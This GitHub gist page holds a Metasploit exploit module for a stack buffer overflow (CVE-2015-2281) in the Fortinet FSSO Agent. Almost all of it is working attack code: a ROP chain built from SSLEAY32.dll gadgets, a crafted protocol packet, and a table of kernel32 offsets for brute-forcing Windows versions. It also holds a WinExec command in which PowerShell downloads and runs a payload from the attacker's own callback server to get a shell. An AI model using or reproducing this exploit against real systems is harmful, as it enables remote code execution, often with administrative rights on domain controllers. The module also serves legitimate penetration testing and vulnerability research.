Created
March 29, 2015 20:39
-
-
Save phikshun/cefee8fb333e5ce5a4cc to your computer and use it in GitHub Desktop.
Fortinet FSSO Stack Buffer Overflow Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
require 'msf/core/exploit/powershell' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpServer | |
include Msf::Exploit::Remote::Tcp | |
include Msf::Exploit::Powershell | |
def initialize(info = {}) | |
super(update_info(info, { | |
'Name' => 'Fortinet FSSO Stack Buffer Overflow', | |
'Description' => %q{ | |
This module exploits a stack buffer overflow on the Fortinet FSSO Agent using | |
the Fortgate protocol on TCP port 8000. This agent often runs with | |
administrative privileges on a domain controller or member server. | |
Tested with versions 4.3.0124 through 4.3.0143 running on Windows Server 2008 | |
R2 SP1 and Windows Server 2012 R2. | |
If the version of Windows being targeted is not on the kernel32_versions list, | |
you can calculate the offset manually. Use pedump (Ruby gem) to export the | |
address of WinExec and GetTimeZoneInformation, then take the WinExec address | |
and subtract the address of GetTimeZoneInformation. Finally, perform a binary | |
1s compliment. This is the "magic value" (delta) that should be used in the | |
ROP chain. | |
The service will automatically restarts if it crashes, so you get as many tries | |
as you need to get a shell. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => [ | |
'phikshun', # wrote Poc exploit | |
'Enrique Nissim' # original discovery | |
], | |
'References' => | |
[ | |
['CVE', '2015-2281'], | |
['URL', 'https://blog.coresecurity.com/2015/03/18/analysis-of-a-remote-code-execution-vulnerability-on-fortinet-single-sign-on/'], | |
['URL', 'http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow'] | |
], | |
'Platform' => 'win', | |
'Targets' => | |
[ | |
[ 'Automatic', { 'Arch' => ARCH_X86 } ] | |
], | |
'DefaultTarget' => 0, | |
'DisclosureDate' => 'Mar 29 2015' | |
})) | |
register_options( | |
[ | |
Opt::RPORT(8000), | |
OptString.new('URIPATH', [false, 'Callback URL', '/p']) | |
], self.class | |
) | |
register_advanced_options( | |
[ | |
OptString.new('PSH_URL', [false, 'Alternate URL to use for powershell download']), | |
OptString.new('KERNEL32_VER', [false, 'SysWow64/kernel32.dll version']) | |
], self.class | |
) | |
end | |
def on_request_uri(cli, request) | |
print_status("Delivering Payload") | |
psh = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) | |
send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' }) | |
end | |
def send_exploit(url, delta) | |
rop_gadgets = | |
[ | |
# nopsled | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
# esi = get ptr to winexec | |
0x1003800f, # POP EBP # RETN | |
0xffffffff, # -1 | |
0x100274a8, # XOR EAX,EAX # RETN | |
0x10037fe4, # MUL ECX # RETN 0x10 | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10033d87, # POP EAX # RETN [SSLEAY32.dll] | |
0x100390e8, # SSLEAY32.dll - IAT 0x100390e8 : kernel32.GetTimeZoneInformation | |
0x100297f4, # ADD EDX,DWORD PTR DS:[EAX] # RETN | |
0x10033d87, # POP EAX # RETN [SSLEAY32.dll] | |
delta, # 2's compliment of (&WinExec - &GetTimeZoneInformation) | |
0x10012d62, # NEG EAX # RETN | |
0x100104c3, # LEA EBX,DWORD PTR DS:[EAX] # ADD EAX,C0331001 # RETN | |
0x10037ffe, # ADD EDX,EBX # POP EBX # RETN 0x10 | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10033d87, # POP EAX # RETN [SSLEAY32.dll] | |
0x10045020, # random writeable address | |
0x10012a36, # LEA ESI,DWORD PTR DS:[EDX+EBP+1] # ADC BYTE PTR DS:[EAX+30],BH # RETN | |
# edi = rop nop | |
0x10020d83, # POP EDI # RETN [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
# go! | |
0x10022e04, # PUSHAD # RETN [SSLEAY32.dll] | |
].flatten.pack("V*") | |
# winexec payload | |
cmd = "powershell -c IEX(new-object net.webclient).downloadstring('#{url}')#" | |
exploit = "A" * 96 + rop_gadgets + cmd | |
exploit += "B" * (475 - exploit.length) | |
buf = | |
"\x80\x06\x00\x00\x00\x0a\x01\x03\x00\x00\x00\x01" + | |
"\x00\x00\x00\x0a\x10\x03\x00\x00\x00\x20\x00\x00\x00\x16\x11\x01" + | |
"\x76\x35\x2e\x30\x2e\x32\x34\x32\x2d\x30\x32\x34\x32\x00\x00\x00" + | |
[exploit.length + 6].pack('N') + "\x13\x01" + exploit + | |
"\x00\x00\x00\x16\x12\x01\x37\xfa\x30\x27\x21\x19\x16\xfe\xfa\x07\x92\xe2\xfa" + | |
"\x04\xc5\xc8" | |
buf = [buf.length + 4].pack('N') + buf | |
connect | |
sock.put(buf) | |
Rex::ThreadSafe.sleep(1.0) | |
disconnect | |
end | |
def get_callback_url | |
url = (datastore['SSL'] ? 'https://' : 'http://') | |
url += (datastore['PSH_URL'] || datastore['LHOST'] || datastore['SRVHOST']) | |
url += ((datastore['SRVPORT'] == 80 && !datastore['SSL']) || | |
(datastore['SRVPORT'] == 443 && datastore['SSL']) ? '' : ":#{datastore['SRVPORT']}" ) | |
url += datastore['URIPATH'] | |
end | |
def exploit | |
url = get_callback_url | |
if url.include? '0.0.0.0' | |
print_error "URL contains 0.0.0.0 - not a valid callback IP" | |
return | |
end | |
print_status("#{rhost}:#{rport} - Starting up web callback on #{url}") | |
start_service({'Uri' => { | |
'Proc' => Proc.new { |cli, req| | |
on_request_uri(cli, req) | |
}, | |
'Path' => datastore['URIPATH'] | |
}}) | |
kernel32_versions = { | |
# manually generated | |
'6.3.9600.17415_en' => 0xfffd6150, | |
'6.3.9600.17056_en' => 0xfffda633, | |
'6.3.9600.17031_en' => 0xfffda674, | |
# auto-generated | |
'6.1.7601.22653_en.a' => 0xfff81491, | |
'6.1.7601.21772_en.a' => 0xfff819d1, | |
'6.1.7601.18409_en.a' => 0xfff81631, | |
'6.1.7601.18229_en.a' => 0xfff819a9, | |
'6.1.7601.18015_en.a' => 0xfff819b1, | |
'6.1.7601.17651_en.a' => 0xfff81a09, | |
'6.1.7601.17514_en.a' => 0xfff81a39, | |
'6.1.7600.16385_en.b' => 0xfff891db, | |
'6.1.7600.16385_en.a' => 0xfffafef3, | |
'6.0.6002.22988_en.a' => 0xfff939ac, | |
'6.0.6002.22942_en.a' => 0xfff939c4, | |
'6.0.6002.22625_en.a' => 0xfff92b64, | |
'6.0.6002.19034_en.a' => 0xfff9bdd4, | |
'6.0.6002.18740_en.a' => 0xfff927e4, | |
'6.0.6002.18704_en.a' => 0xfff9280c, | |
'6.0.6002.18449_en.a' => 0xfff913ac, | |
'6.0.6002.18005_en.a' => 0xfffaaac0, | |
'6.0.6002.18005_en.b' => 0xfff931c4, | |
'6.0.6001.22898_en.a' => 0xfff8f35c, | |
'6.0.6001.22376_en.a' => 0xfffab7b4, | |
'6.0.6001.18631_en.a' => 0xfff93f84, | |
'6.0.6001.18215_en.b' => 0xfff93fc4, | |
'6.0.6001.18215_en.a' => 0xfffac110, | |
'6.0.6001.18000_en.a' => 0xfffac228, | |
'6.0.6001.18000_en.b' => 0xfff9345c, | |
'5.2.3790.5295_en.b' => 0xfffba135, | |
'5.2.3790.5295_en.a' => 0xfffd0505, | |
'5.2.3790.5069_en.a' => 0xfffbb93c, | |
'5.2.3790.4480_en.c' => 0xfffba884, | |
'5.2.3790.4480_en.a' => 0xfffbba2c, | |
'5.2.3790.4062_en.a' => 0xfffbbb64, | |
'5.2.3790.3959_es.a' => 0xfffbbb5c | |
} | |
handler | |
kernel32_versions.each_pair do |version, delta| | |
if !datastore['KERNEL32_VER'] || version.include?(datastore['KERNEL32_VER']) | |
print_status "#{rhost}:#{rport} - Trying kernel32.dll version #{version} with delta 0x#{"%08x" % delta}" | |
send_exploit(url, delta) | |
print_status "Waiting 5 seconds for service to respawn" | |
Rex::ThreadSafe.sleep(5) | |
break if session_created? | |
else | |
print_status "Skipping kernel32.dll version #{version} (not matched)" | |
end | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment